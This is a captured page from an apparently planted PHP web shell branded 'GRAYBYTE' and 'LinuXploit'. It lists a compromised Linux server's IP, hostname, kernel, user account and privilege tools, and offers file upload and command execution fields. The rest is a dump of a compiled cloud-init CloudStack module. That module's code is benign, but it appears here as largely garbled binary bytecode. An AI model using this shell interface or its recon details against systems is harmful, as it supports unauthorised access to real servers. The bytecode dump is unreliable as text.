- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.189.192.107
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/cloudinit/sources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/cloudinit/sources/__pycache__/DataSourceCloudStack.cpython-36.pyc
3

�~�fY �@s�ddlZddlZddlZddlmZmZmZddlmZddl	m
Z
mZddl	mZ
ddl	mZddlmZddlmZeje�ZGd	d
�d
�ZGdd�de
j�Zd
d�Zdd�Zdd�Zee
je
jffgZdd�ZdS)�N)�gaierror�getaddrinfo�	inet_ntoa)�pack)�sources�subp)�
url_helper)�util)�dhcp)�ec2c@s(eZdZdZdd�Zdd�Zdd�ZdS)	�CloudStackPasswordServerClienta�
    Implements password fetching from the CloudStack password server.

    http://cloudstack-administration.readthedocs.org/
       en/latest/templates.html#adding-password-management-to-your-templates
    has documentation about the system.  This implementation is following that
    found at
    https://github.com/shankerbalan/cloudstack-scripts/
       blob/master/cloud-set-guest-password-debian
    cCs
||_dS)N)�virtual_router_address)�selfr
�r�*/usr/lib/python3.6/DataSourceCloudStack.py�__init__*sz'CloudStackPasswordServerClient.__init__c
Cs:tjddddddddd	d
j|�dj|j�g�\}}|j�S)NZwgetz--quietz--tries�3z	--timeoutZ20z--output-document�-z--headerzDomU_Request: {0}z{0}:8080)r�formatr
�strip)rZdomu_request�output�_rrr�_do_request-sz*CloudStackPasswordServerClient._do_requestcCs4|jd�}|dkrdS|dkr&td��|jd�|S)NZsend_my_password��saved_passwordZbad_requestz-Error when attempting to fetch root password.)rr)r�RuntimeError)r�passwordrrr�get_passwordBs

z+CloudStackPasswordServerClient.get_passwordN)�__name__�
__module__�__qualname__�__doc__rrrrrrrrs
rc@sLeZdZdZdZdZdd�Zdd�Zdd	�Zd
d�Z	dd
�Z
edd��ZdS)�DataSourceCloudStackZ
CloudStack�x�2cCsXtjj||||�tjj|jd�|_d|_t�|_	|j	s@t
d��d|j	f|_i|_dS)NZcsZlatestzNo virtual router found!z
http://%s/)
r�
DataSourcer�os�path�join�seed_dir�api_ver�get_vr_address�vr_addrr�metadata_address�cfg)rZsys_cfgZdistro�pathsrrrrTszDataSourceCloudStack.__init__cCs~|j�}|jdkrdStj|jd�g}tj�}tj||j|jtj	d�\}}|r\tj
d|�ntjd|ttj�|��t
|�S)NrFzlatest/meta-data/instance-id)�urlsZmax_waitZtimeoutZ	status_cbzUsing metadata source: '%s'z>Giving up on waiting for the metadata from %s after %s seconds)Zget_url_paramsZmax_wait_seconds�uhelpZcombine_urlr-�timeZwait_for_urlZtimeout_seconds�LOGZwarning�debugZcritical�int�bool)rZ
url_paramsr0�
start_timeZurlZ	_responserrr�wait_for_metadata_service`s$
z.DataSourceCloudStack.wait_for_metadata_servicecCs|jS)N)r.)rrrr�get_config_objsz#DataSourceCloudStack.get_config_objcCsi}tj||jdd�r>|d|_|d|_tjd|j�dSy�|j�sLdStj�}t	j
|j|j�|_t	j
|j|j�|_tjdttj�|��t|j�}y|j�}Wn$tk
r�tjtd	|j�YnX|r�d|d
did�|_dStk
�r
tjtd|j�dSXdS)
N�/)�basez	user-dataz	meta-dataz%Using seeded cloudstack data from: %sTFz)Crawl of metadata service took %s secondsz/Failed to fetch password from virtual router %sZexpire)Z
ssh_pwauthrZchpasswdz(Failed fetching from metadata service %s)r	Zread_optional_seedr)Zuserdata_raw�metadatar3r4r8r2rZget_instance_userdatar*r-Zget_instance_metadatar5rr,r�	ExceptionZlogexcr.)rZseed_retr7Zpassword_clientZset_passwordrrr�	_get_data�sH


zDataSourceCloudStack._get_datacCs
|jdS)Nzinstance-id)r<)rrrr�get_instance_id�sz$DataSourceCloudStack.get_instance_idcCs
|jdS)Nzavailability-zone)r<)rrrr�availability_zone�sz&DataSourceCloudStack.availability_zoneN)
rrr ZdsnameZurl_max_waitZurl_timeoutrr8r9r>r?�propertyr@rrrrr"Ls0r"cCsBytdd�}Wntk
r,tjd�dSX|dddSdS)Nzdata-server�PzDNS Entry data-server not foundr�)rrr3r4)Zaddrinforrr�get_data_server�s
rDcCs^tjd�j�}xJ|D]B}|jd�}|ddkrttdt|dd���}tjd|�|SqWdS)	Nz/proc/net/route�	�Z00000000z<L��z"Found default route, gateway is %s)	r	Z	load_file�
splitlines�splitrrr5r3r4)�lines�line�itemsZgwrrr�get_default_gateway�s

rNcCsjt�}|rtjd|�|Stjd�}|r8tjd|�|Stjj�}|rZtjj|�}|rZ|Stjd�t�S)Nz4Found metadata server '%s' via data-server DNS entryZSERVER_ADDRESSz-Found SERVER_ADDRESS '%s' via networkd_leasesz$No DHCP found, using default gateway)	rDr3r4r
Znetworkd_get_option_from_leasesZIscDhclientZget_latest_leaseZ!parse_dhcp_server_from_lease_filerN)Zlatest_addressZ
lease_filerrrr+�s&


r+cCstj|t�S)N)rZlist_from_depends�datasources)Zdependsrrr�get_datasource_list�srP) Zloggingr&r2Zsocketrrr�structrZ	cloudinitrrrr1r	Z
cloudinit.netr
Zcloudinit.sources.helpersrZ	getLoggerrr3rr%r"rDrNr+ZDEP_FILESYSTEMZDEP_NETWORKrOrPrrrr�<module>s"
.n
&

Youez - 2016 - github.com/yon3zu
LinuXploit